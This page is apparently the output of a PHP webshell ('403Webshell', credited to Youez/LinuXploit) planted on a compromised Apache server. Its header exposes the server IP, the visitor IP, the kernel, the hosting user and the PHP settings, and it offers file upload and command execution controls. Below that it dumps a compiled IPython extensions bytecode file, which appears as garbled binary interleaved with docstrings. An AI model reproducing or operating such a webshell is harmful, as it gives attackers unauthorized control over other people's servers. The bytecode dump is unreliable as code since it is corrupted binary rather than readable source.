403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/core/__pycache__/extensions.cpython-311.pyc
�

�@�c����dZddlZddlZddlZddlmZmZddlmZddl	m
Z
mZddlm
Z
ddlmZddd	�ZGd
�de��ZdS)z(A class for managing IPython extensions.�N)�
import_module�reload)�Configurable)�ensure_dir_exists�
compress_user)�undoc)�InstanceF)�
storemagic�
autoreloadc���eZdZdZedd���Zd�fd�	Zed���Zd�Z	d	e
fd
�Zd	e
fd�Zd	e
fd�Z
d	e
fd
�Zd�Zd�Zedd���Z�xZS)�ExtensionManagerarA class to manage IPython extensions.

    An IPython extension is an importable Python module that has
    a function with the signature::

        def load_ipython_extension(ipython):
            # Do things with ipython

    This function is called after your extension is imported and the
    currently active :class:`InteractiveShell` instance is passed as
    the only argument.  You can do anything you want with IPython at
    that point, including defining new magic and aliases, adding new
    components, etc.
    
    You can also optionally define an :func:`unload_ipython_extension(ipython)`
    function, which will be called if the user unloads or reloads the extension.
    The extension manager will only call :func:`load_ipython_extension` again
    if the extension is reloaded.

    You can put your extension modules anywhere you want, as long as
    they can be imported by Python's standard import mechanism.  However,
    to make it easy to write extensions, you can also put your extensions
    in ``os.path.join(self.ipython_dir, 'extensions')``.  This directory
    is added to ``sys.path`` automatically.
    z1IPython.core.interactiveshell.InteractiveShellABCT)�
allow_noneNc���tt|��jdd|i|��|j�|jd���t
��|_dS)N�shell)�ipython_dir)�names�)�superr
�__init__r�observe�_on_ipython_dir_changed�set�loaded)�selfr�kwargs�	__class__s   ��9/usr/lib/python3/dist-packages/IPython/core/extensions.pyrzExtensionManager.__init__6se���.����%�%�.�E�E�U�E�f�E�E�E��
����(�0@�	�	
�	
�	
��e�e�����c�V�tj�|jjd��S)N�
extensions)�os�path�joinrr)rs r�ipython_extension_dirz&ExtensionManager.ipython_extension_dir=s���w�|�|�D�J�2�M�B�B�Brc�.�t|j��dS�N)rr$)r�changes  rrz(ExtensionManager._on_ipython_dir_changedAs���$�4�5�5�5�5�5r�
module_strc��	|�|��S#t$r/|tvr$dt|<|�d|z��cYS�wxYw)aLoad an IPython extension by its module name.

        Returns the string "already loaded" if the extension is already loaded,
        "no load function" if the module doesn't have a load_ipython_extension
        function, or None if it succeeded.
        T�IPython.extensions.)�_load_extension�ModuleNotFoundError�
BUILTINS_EXTS)rr(s  r�load_extensionzExtensionManager.load_extensionDsn��	��'�'�
�3�3�3��"�	�	�	��]�*�*�,0�
�j�)��+�+�,A�J�,N�O�O�O�O�O��		���s��5A�Ac	�F�||jvrdSddlm}|jj5|t
jvr�||j��5t|��}|j	�
|j��r5td�t|j�������ddd��n#1swxYwYt
j|}|�|��r|j�|��n	ddd��dS	ddd��dS#1swxYwYdS)Nzalready loadedr��prepended_to_syspathzLoading extensions from {dir} is deprecated. We recommend managing extensions like any other Python packages, in site-packages.)�dirzno load function)r�IPython.utils.syspathcontextr1r�builtin_trap�sys�modulesr$r�__file__�
startswith�print�formatr�_call_load_ipython_extension�add�rr(r1�mods    rr+z ExtensionManager._load_extensionSs������$�$�#�#�E�E�E�E�E�E�
�Z�
$�
	*�
	*����,�,�)�)�$�*D�E�E�N�N�'�
�3�3�C��|�.�.�t�/I�J�J�N�� J�KQ�6�"/��0J�"K�"K�LR�LM�LM�N�N�N�N�N�N�N�N�N�N�N�N�N�N����N�N�N�N��+�j�)�C��0�0��5�5�
*�����
�+�+�+�+�)�
	*�
	*�
	*�
	*�
	*�
	*�
	*�
	*�,�
	*�
	*�
	*�
	*�
	*�
	*�
	*�
	*�
	*�
	*�
	*�
	*����
	*�
	*�
	*�
	*�
	*�
	*s6�D�A$B-�!D�-B1	�1D�4B1	�5AD�D�Dc��t�|d��durd|z}||jvrdS|tjvrEtj|}|�|��r|j�|��dSdSdS)a{Unload an IPython extension by its module name.

        This function looks up the extension's name in ``sys.modules`` and
        simply calls ``mod.unload_ipython_extension(self)``.

        Returns the string "no unload function" if the extension doesn't define
        a function to unload itself, "not loaded" if the extension isn't loaded,
        otherwise None.
        FTr*z
not loadedzno unload functionN)r-�getrr5r6�_call_unload_ipython_extension�discard)rr(r>s   r�unload_extensionz!ExtensionManager.unload_extensionhs������Z��/�/�4�7�7�.��;�J��T�[�(�(��<����$�$��+�j�)�C��2�2�3�7�7�
,���#�#�J�/�/�/�/�/�+�+�%�$rc���ddlm}t�|d��durd|z}||jvr�|t
jvr�|�|��t
j|}||j��5t|��ddd��n#1swxYwY|�
|��r|j�|��dSdS|�|��dS)a4Reload an IPython extension by calling reload.

        If the module has not been loaded before,
        :meth:`InteractiveShell.load_extension` is called. Otherwise
        :func:`reload` is called and then the :func:`load_ipython_extension`
        function of the module, if it exists is called.
        rr0FTr*N)
r3r1r-r@rr5r6rCr$rr;r<r.r=s    r�reload_extensionz!ExtensionManager.reload_extension~s?��	F�E�E�E�E�E����Z��/�/�4�7�7�.��;�J��$�+�%�%�J�#�+�,E�,E��!�!�*�-�-�-��+�j�)�C�%�%�d�&@�A�A�
�
��s����
�
�
�
�
�
�
�
�
�
�
����
�
�
�
��0�0��5�5�
,�����
�+�+�+�+�+�
,�
,�
���
�+�+�+�+�+s�7B�B�Bc�^�t|d��r|�|j��dSdS)N�load_ipython_extensionT)�hasattrrGr�rr>s  rr;z-ExtensionManager._call_load_ipython_extension�s:���3�0�1�1�	��&�&�t�z�2�2�2��4�	�	rc�^�t|d��r|�|j��dSdS)N�unload_ipython_extensionT)rHrKrrIs  rrAz/ExtensionManager._call_unload_ipython_extension�s:���3�2�3�3�	��(�(���4�4�4��4�	�	rc� �td���)z
        Deprecated.
        z�`install_extension` and the `install_ext` magic have been deprecated since IPython 4.0Use pip or other package managers to manage ipython extensions.)�DeprecationWarning)r�url�filenames   r�install_extensionz"ExtensionManager.install_extension�s��!�
N�O�O�	Orr&)�__name__�
__module__�__qualname__�__doc__r	rr�propertyr$r�strr.r+rCrEr;rArrP�
__classcell__)rs@rr
r
s>���������4
�H�H�UY�Z�Z�Z�E��������C�C��X�C�6�6�6�
��
�
�
�
�*�#�*�*�*�*�*,�3�,�,�,�,�,,�3�,�,�,�,�.���
���
�O�O�O��U�O�O�O�O�Orr
)rTr!�os.pathr5�	importlibrr�traitlets.config.configurabler�IPython.utils.pathrr�IPython.utils.decoratorsr�	traitletsr	r-r
rrr�<module>r^s���.�.�

�	�	�	�����
�
�
�
�+�+�+�+�+�+�+�+�6�6�6�6�6�6�?�?�?�?�?�?�?�?�*�*�*�*�*�*������� %�E�:�:�
�NO�NO�NO�NO�NO�|�NO�NO�NO�NO�NOr

Youez - 2016 - github.com/yon3zu
LinuXploit